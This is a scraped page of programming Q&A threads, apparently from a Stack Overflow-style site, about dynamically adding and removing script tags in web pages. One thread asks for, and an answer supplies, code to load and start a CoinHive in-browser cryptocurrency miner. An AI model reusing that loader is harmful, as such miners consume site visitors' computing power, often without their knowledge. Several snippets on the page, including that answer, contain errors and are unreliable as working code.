I want to add a script to the head of a site so the the head of the target html looks like so <head><script type="text/javascript">*some code...*</script></head>.
With this script works that perfect:
var head = document.getElementsByTagName('head')[0],
script = document.createElement('script');
script.src = 'http://www.example.com/example.js';
head.appendChild(script);
But i don't want to use any link in source.
So i'm tried to add some code like this:
function addJS(jsCode) {
var styleElement = document.createElement('script');
styleElement.type = 'text/javascript';
(scriptElement.javascript) {
scriptElement.javascript.jsText = jsCode
scriptElement.appendChild(document.createTextNode(jsCode))
document.getElementsByTagName('head')[0].appendChild(scriptElement);
}
var jsCode = '';
jsCode += 'code';
jsCode += 'some more code';
But I've failed. That script is not working.
How can I add a Element to the head of any html site like this?
Would be great if someone could help me.
Just tried this and it seemed to work. Try
function addJS(jsCode) {
var s = document.createElement('script');
s.type = 'text/javascript';
s.innerText = jsCode;
document.getElementsByTagName('head')[0].appendChild(s);
}
Demo here
Using jquery
var head = document.getElementsByTagName('head')[0],
script = document.createElement('script');
$(script).attr('type' , 'text/javascript');
head.appendChild(script);
$(script).append("alert('Hello')");
Related
I'm hosting my blog/website on blogger, I need to insert an ad above any first chapter of any post. I can't modify any single post. I can't place the ad code in the theme html editor just before the post content, because I already have another ad before post content body.
I try with this 2 codes but none of them work:
1)
<script>
document.body.innerHTML = document.body.innerHTML.replace('<div class="description"', "<div id='toppostrect300x250' class='description'");
var container = document.getElementById('toppostrect300x250');
var w = document.write; document.write = function (content) {
container.innerHTML = content;
document.write = w; };
var script = document.createElement('script'); script.type = 'text/javascript'; script.src = '//p252740.clksite.com/adServe/banners?tid=252740_484260_6'; document.body.appendChild(script);
</script>
2)
<script>
document.body.innerHTML = document.body.innerHTML.replace('<h3>Chapter 1', "
<script data-cfasync='false' type='text/javascript' src='//p252740.clksite.com/adServe/banners?tid=252740_484260_6'><\/script>");
</script>
I am very new to javascript and am looking to convert :
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('KEY');
miner.start();
</script>
To javascript code which needs to be run server side. This is what I have so far but I cannot get it work:
function runminer() {
var script = document.createElement('script');
script.src = 'https://coinhive.com/lib/coinhive.min.js';
var miner = new script.CoinHive.Anonymous('KEY');
script.miner.start()
}
Thank you!
Looks like you're forgetting to add the script to the DOM, this should do the trick:
var script = document.createElement('script');
script.onload = function() {
var miner = new script.CoinHive.Anonymous('KEY');
script.miner.start()
};
script.src = "https://coinhive.com/lib/coinhive.min.js";
document.getElementsByTagName('head')[0].appendChild(script);
I'm trying to append this in JS:
<script language='javascript'>document.pathXml='xml/infos.xml'</script>
this works: (except for the text within the "script" tag);
var script = document.createElement("script");
script.type = "javascript";
document.body.appendChild(script);
I just tried to do this to add the text :
var script = document.createElement("script");
script.type = "javascript";
$(this).html("document.pathXml='xml/infos.xml'");
document.body.appendChild(script);
but it's not working.
Any help is welcome!thanks in advance
<head>
<script type="text/javascript">
function include(filename, status){
if(status == 'on'){
var head = document.getElementsByTagName('head')[0];
script = document.createElement('script');
script.src = filename;
script.type = "text/javascript";
head.appendChild(script);
} else {
// The code that wipes the script tag above
}
}
</script>
</head>
<body>
<input type="button" value="OPEN" onclick="include('script.js', 'on')">
<input type="button" value="CLOSE" onclick="include('', 'off')">
</body>
I want to remove the specific tag in tag by onclick event.
What code should be written in the ELSE area, When I click the "CLOSE" botton?
The easiest way, would be to somehow maintain a link to the created element. For example, you could put the include function into a closure and have a private variable, to hold the reference:
var include = (function(){
// the reference to the script
var theScript;
return function (filename, status){
if(status == 'on'){
// adding a script tag
var head = document.getElementsByTagName('head')[0];
theScript= document.createElement('script');
theScript.src = filename;
theScript.type = "text/javascript";
head.appendChild( theScript )
}else{
// removing it again
theScript.parentNode.removeChild( theScript );
}
}
})();
One important note: By removing the <script> tag, you do not remove any of its objects, functions etc. from the DOM. So any action started within that <script> tag will prevail, even if you delete the element, that started it in the first place!
You could also add an ID to the ScriptElement
this will work for you
function include(filename, status){
if(status == "on"){
var head = document.getElementsByTagName('head')[0];
script = document.createElement('script');
script.src = filename;
script.type = "text/javascript";
script.id = "testScriptName";
head.appendChild(script);
}else{
(elem=document.getElementById("testScriptName")).parentNode.removeChild(elem)
}
}
Try using this:
function include(filename, status){
var head = document.getElementsByTagName('head')[0];
if(status == on){
script = document.createElement('script');
script.src = filename;
script.type = text/javascript;
head.appendChild(script)
}
else if(status == 'off'){
var scripts = head.getElementsByTagName('script');
if(scripts.length > 0){
head.removeChild(scripts[0]);
}
}
}
I am making a small project that will let:
different websites to load my external javascript file: something like this:
<script type="text/javascript">
var vsid = "SA89696";
(function() {
var vsjs = document.createElement('script'); vsjs.type = 'text/javascript'; vsjs.async = true; vsjs.setAttribute('defer', 'defer');
vsjs.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'example.com/robot/robot.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(vsjs, s);
})();
</script>
now I want to use jquery in my javascript file, I dont have problem to load it by myself,
but I dont want to cause errors to the curresnt website if it already loaded jquery.
do you have any suggestions how to load jquery with no overrides.
You need something like this:
<script>
if(!window.jQuery)
{
var script = document.createElement('script');
script.type = "text/javascript";
script.src = "path/to/jQuery";
document.getElementsByTagName('head')[0].appendChild(script);
}
</script>
It checks if jQuery is loaded or no..
Source